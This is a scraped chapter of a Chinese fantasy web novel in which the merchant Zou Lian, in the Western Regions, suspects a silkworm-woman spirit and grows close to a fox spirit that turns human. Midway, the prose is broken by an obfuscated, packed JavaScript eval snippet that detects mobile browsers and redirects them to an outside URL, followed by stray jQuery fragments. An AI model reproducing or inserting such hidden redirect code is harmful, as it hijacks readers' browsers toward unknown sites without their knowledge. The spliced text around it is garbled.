默认冷灰
24号文字
方正启体

3. 桑蚕女

作者:青灯冷火本书字数:K更新时间:
    邹敛怀里揣着只狐狸,怕人看出异常,走得鬼鬼祟祟。


    街市两侧商人叫卖着小物件,杂耍艺人在火里做着各色让人心惊肉跳的动作,多数都是邹敛从前在中原时见都没见过的新奇事物。


    可惜此时此刻的他无心去看,疲惫得只想回驿站好好睡一觉。


    隐约听见旁边传来异样杂乱的吵闹声,声音离他越来越近。


    他有些烦躁地扭头去看,正看见一个壮汉大叫着朝他这个方向冲过来,那架势像是下一秒就能把邹敛撞倒在地。


    幸好邹敛反应迅速地躲开,大汉从他身边紧紧地擦过去,那力气让邹敛踉跄了好大一下。


    没等邹敛站稳,又有好几个人火急火燎地从人群里钻出去,嘴里发出畜生一般的大叫,看上去吓得魂都要没了。


    闹市里偷东西的多,敢抢劫伤人的却少之又少,邹敛睡意被打消一些,好奇地想看看究竟是何方神圣,吓跑了这么多人。


    “就是她!抓住那个女人!”有人近乎尖叫着大喊。又有几个胡人说着邹敛不太能听懂的语言,语气倒是一样的着急和惊恐。


    大约一刻钟的时间过去,巡逻队的人抓住了人们口中的那个女人。


    邹敛定睛一看,是个老妇人,皮肤爬满皱纹,穿着破旧,因此看不出是哪里的人。邹敛更加奇怪,青壮年人被一个老妇人吓成那样,说出去没人相信。


    那老人面容、穿着和行为都没任何异常,周围人议论纷纷,当事人魂魄刚归位似的,跟巡逻队急切地讲述自己刚才的遭遇。


    邹敛和他们有点距离,夜市人声也嘈杂,说话的声音全淹没在周围吵闹声里。他只零零散散听到了“勒死”、“戳我”这种字样,把那个老妇人说成了话本子里恶毒老妖怪的样子。


    怀里的东西不安分地动着,邹敛这才想起现在不是自己一个人在外头逛,回去安顿这个小祖宗比较要紧。


    回了驿站的客房点上蜡烛,把狐狸放进背篓里让他睡下,邹敛这才放松下来,坐在床沿发愣。


    他一边回想晚上的事情,一边打开自己随身放东西的小包袱,忽然一愣。


    里面躺着一块丝绸料子,洁白无瑕,整齐叠放在最上面。


    邹敛记得很清楚,晚上和那不讲理的胡商周旋过后,最后一块有瑕疵的丝绸料子应该是送给了那个舞姬。难道他记错了?


    邹敛把布料拿起来,透过烛火仔细端详,看到一点淡得几乎看不出的斑点印记,确认了就是那块被胡商称作瑕疵品的丝绸。


    那胡商就为了这点瑕疵大张旗鼓地指责他做生意不讲诚信,这也太没道理了。


    他自己也是,怎么脑子一昏就主动让价,这明明是极其仔细、对着烛光才能看出来的微小瑕疵,当作一等品卖也完全不亏心。


    不对……不对!当时他们在灯火通明的集市里交易,手边哪来的烛光看这种细节?邹敛赶紧把布料拿远些,只对着光线看表面的话,没有任何人眼可见的杂质和斑点。


    连他的眼睛都会出错么?还是什么人对他的东西做了手脚?


    他立刻想到那个舞姬,刚一出现就莫名其妙弄了一出天女散花,还拿那种有点阴恻恻的眼神盯着人。


    那个胡商更是怪异,见到女人出场便不再纠缠,仿佛他的出现就是为那个舞姬做铺垫似的。


    邹敛被接二连三的怪事折磨得睡意全无,头痛得要命。他又想起那个把好多人吓得魂飞魄散的老妇人,她有一双浑浊的眼睛,脸上皮肤因为岁月而松散地垂坠下来,下巴上有一颗大痣……


    一颗痣。邹敛飞快地想到,那个舞姬的下巴上似乎也有一颗痣。当时他的注意力全被女人的美貌吸引,根本没注意痣这种细节。如今回想起来,竟和老妇人的那颗痣在一模一样的位置。


    邹敛感到脊背一阵发寒,开始怀疑自己是否真的被什么脏东西给缠上了。


    黑暗里有一个影子动了动,邹敛顿时警觉:“谁!”


    回应他的是一阵动物的脚掌踩在地上的哒哒声。赤狐走到灯光能照到的范围,盯着他看了两眼,纵身一跃跳到了邹敛的怀里。


    邹敛以为小狐狸早就睡了,有些意外。看见小家伙用后背蹭他,便伸手去摸,从头顶一路捋到尾巴,把小东西摸得发出满意的哼哼声。


    西域的夜晚总是冷得生寒,在这种时候有一只温暖的毛茸茸的小狐狸投怀送抱,邹敛竟然笑了出来。


    或许是狐狸可爱得让人防备心降低,或许是因为狐狸救了他一命,邹敛没再对这狐狸精避如蛇蝎,仿佛它只是一只最普通的宠物。


    邹敛爱不释手一般对小家伙上下其手,正如在沙漠里他们初次见面的那个夜晚。


    手上触感温软,邹敛产生了困意,几乎是沾着枕头就睡着。


    醒来时外面天光大亮,时间大概已经接近中午。邹敛感觉精神意外的好,启程来西域至今,这是他睡得最安稳的一觉。


    今日没有安排,邹敛便睁眼躺在床上发愣,想着过一会再起。这时他忽然觉得不对劲,手边好像有一团东西,暖烘烘的散着热量。


    邹敛低头,看见赤红色的毛在有规律地震颤。


    他朝着狐狸背上拍了好多下,把小东西拍醒:“别睡在这里,去竹篓里面睡。”


    狐狸迷迷糊糊睁开眼睛,坐起来,呆愣了一会,有些失落地垂下耳朵,对着邹敛摇尾巴,一幅不乐意挪窝的表情。


    邹敛心情不错,想给狐狸讲道理:“你是狐狸,狐狸就是要睡在竹篓里的,只有人才能睡在床上。”


    狐狸听完马上跳下了床,邹敛以为他听懂了,正准备翻身睡个回笼觉,就见狐狸头上冒起了白雾……化成了人形。


    “我也可以是人的。”


    邹敛无力地闭上眼睛,用手捂着脸不想说话。


    “大人是嫌弃我么……”


    他这样格外像小孩子,邹敛向来拿小孩子没办法,无奈地说了实话:“不让你上床是你一直在外面跑,毛很脏,又长久不洗澡。”


    这么大一个人站在床边,邹敛这觉也睡不下去了,索性坐起身理了理身上的衣服。他嘱咐了狐狸几句,让他自己好好待着别乱跑,自己出去一趟很快就回。


    邹敛把昨晚的事大致和胡先生说了,胡先生却并不意外:“大人约莫是碰到桑蚕女了。”


    “桑蚕女……她真不是人啊。”


    胡先生笑着说:“大人看到那老妪时不早有了猜测?”


    “那先生可知,这桑蚕女……是什么来头啊?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555293|204427||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    胡先生沉思片刻:“桑蚕女我只是有所听闻,还没有真正见过。传闻传的也邪乎,说是早先中原卖过来的桑蚕,西域人养不来,弄得全部惨死,而后怨气化成形,成了女子形态,专食人魂魄。”


    “桑蚕?此处怎么可能有桑蚕?”


    “怪就怪在此处。桑蚕生长于江南,此处为西域,两地脚程再快也得月余,桑蚕运过来早就死在半路了。”


    “无妨,都是些没根据的传言罢了。”


    虽不明原因,但那女人被狐狸吓得不轻,一时半会应该不会再找上门了。


    “妖邪作祟在此处是常事,大人万要小心谨慎。”


    这时候胡先生像是想起了什么,掏出一封信:“哦对了大人,中原来了信,邹家似乎正被皇上暗中派人稽查,不知是得罪了什么人。”


    邹敛顿感不妙,拆开信却没见其他更多的内容,暂时松了口气。


    事情还没闹到明面上,看来是对方没抓到什么实在的把柄,师出无名,不好下手。


    “还能是什么人,多半是公主的手下。”


    邹敛虽无意参与政斗,却也承认邹家不得不依附朝廷党羽才得以立足多年。


    如今朝中是三皇子与长公主的势力最大,皇帝亲封的太子只是虚坐东宫,实际背后都是长公主在掌权,与三皇子抗衡。


    他父亲邹尚投靠的是三皇子的党羽,这些年来没少拿好处,自然也没少受长公主党的算计。


    邹敛深吸一口气:“有件事想要请胡先生帮忙,帮我查一个人。”


    回来时,见那狐狸精颇不把自己当外人地坐在了床上,邹敛没说他,默默坐在他身边。扭头比了一下,发现狐狸化成的人形比他高,有点莫名其妙的不悦。


    “你不怪我了吗。”狐狸怯生生地开口,更像做错事的小孩。


    邹敛没正面回答,抬手摸了摸他的头:“我知道是你救了我。”


    说全然相信绝对是胡扯,但狐狸应该确实没有恶意,要不然在邹敛睡着的时候,他早就趁机下手了。


    “可我还是不明白,你究竟为什么要跟着我?”


    邹敛盯着他那张脸和清澈的眼睛,暗自感叹他真给自己塑了一幅漂亮皮囊。


    “大人……大人是好人,大人对我好,我喜欢大人。”


    这话显得太过肉麻,偏偏狐狸还眨着眼睛像是希望邹敛接着问。


    邹敛叹了口气:“我不是什么好人。”


    “大人不要那样说自己。”狐狸忽然抓住他的手,紧紧握住,“我看得出,大人和那些唯利是图的人不一样的。”


    狐狸的手心很热,把邹敛的手都捂出汗了。


    邹敛赶紧甩开,迎着狐狸失望的表情,露出了些许嫌弃。


    “说话就说话,别动手动脚的。”


    是狐狸的话,邹敛还能接受一直被蹭,是人的话……有点奇怪。


    “你究竟是什么来头。”


    “大人把我留下,以后就会知道了。”


    狐狸笑着,眼里有一瞬闪过一种冷冽的神情,像是昨天在酒楼里,面对舞姬时露出的神情。


    那目光一闪而逝,邹敛再看时,狐狸又是那副乖巧可人的样子,在捋着自己的两根小辫子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)